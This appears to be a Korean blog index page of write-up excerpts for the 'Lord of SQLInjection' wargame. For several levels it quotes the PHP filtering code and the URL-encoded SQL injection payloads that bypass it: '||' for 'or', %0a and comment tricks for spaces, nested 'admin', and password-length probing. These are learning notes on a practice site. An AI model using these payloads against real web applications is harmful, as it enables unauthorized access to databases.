본문 바로가기

Wargame(hacking)/LOS

(26)
LORD OF SQLINJECTION : skeleton Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; if($result['id'] == 'admin') solve("skeleton"); result[id] 가 admin 일 시, 문제를 해결할 수 있다. 위의 코드에서 주의해서 봐야할 부분은 and 1=0이다. 1=0 이 아니기에, 그냥 두면 참이 될 수 없다. 그래서 아래와 같은 payload를 사용해 문제를 해결했다. ?pw=1%27%20or%20id%20like%20%27admin%27%23 ?pw=1%27%2..
LORD OF SQLINJECTION : vampire Write-Up 해당 문제의 필터링 및 적용되는 조건은 아래와 같다. if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); $_GET[id] = strtolower($_GET[id]); $_GET[id] = str_replace("admin","",$_GET[id]); ' 가 필터링 되며, strtolower()를 통해 대문자를 소문자로 변경한다. 그리고 str_replace()를 통해 id 인자 값에 admin이 포함될 시, ""(공백)으로 치환되어진다. 그래서 아래 그림 1과 같이 id=adadminmin 을 요청해 해당 조건을 우회했다.
LORD OF SQLINJECTION : troll Write-Up 필터링 조건은 아래와 같다. if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match("/admin/", $_GET[id])) exit("HeHe"); id에 대한 입력 값을 필터링 하는데, admin을 아래 그림 1과 같이 Admin으로 우회해줬다. 해결!
LORD OF SQLINJECTION : orge Write-Up orc 문제와 유사한 문제였다. 달랐던 점은 or 와 and 의 필터링을 우회해야 한다는 점이였다. 문제를 풀어보도록 한다! ?pw=1%27||%20id%20like%20%27admin%27%23 " Hello admin " 이 출력되지만, if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 조건을 만족 시키지 못한다. ?pw=1%27%20||%20id%20=%20%27admin%27%20%26%26%20length(pw)=8%23 위 코드를 통해, pw의 길이를 파악한다. 중요한 점은 request 요청 시, &&가 파라미터 구분자로 인식되어 제대로 요청이 되지 않았고, url encoding 시켜 %26로 전달했다..
LORD OF SQLINJECTION : darkelf Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 이번 문제의 필터링은 위와 같다. or 와 and가 필터링 되고 있다. 아래와 같은 payload로 or 우회를 시도해본다. ?pw=%27||%201=1%23 || 로 or 우회가 되면서, guest id가 조회된다. 다시 아래와 같은 payload를 통해 admin을 조회하고, 문제를 해결한다! ?pw=%27||%20id%20like%20%27admin%27%23 or 필터링은 || 로 우회가 가능하며, and 필터링은 &&로 우회가 가능하다.
LORD OF SQLINJECTION : wolfman Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 위의 필터링에 의해 공백(%20)이 필터링된다. 그러므로 아래와 같이 %0a로 공백 필터링을 우회해 주었다. ?pw=%27or%0a1=1%23 +plus ?pw=%27or/**/1=1%23 ?pw=%27or%0d1=1%23 ?pw=1%27or%0aid%0alike%0a%27admin%27%23
LORD OF SQLINJECTION : orc Write-Up 첫 번째 방법
LORD OF SQLINJECTION : goblin Write-Up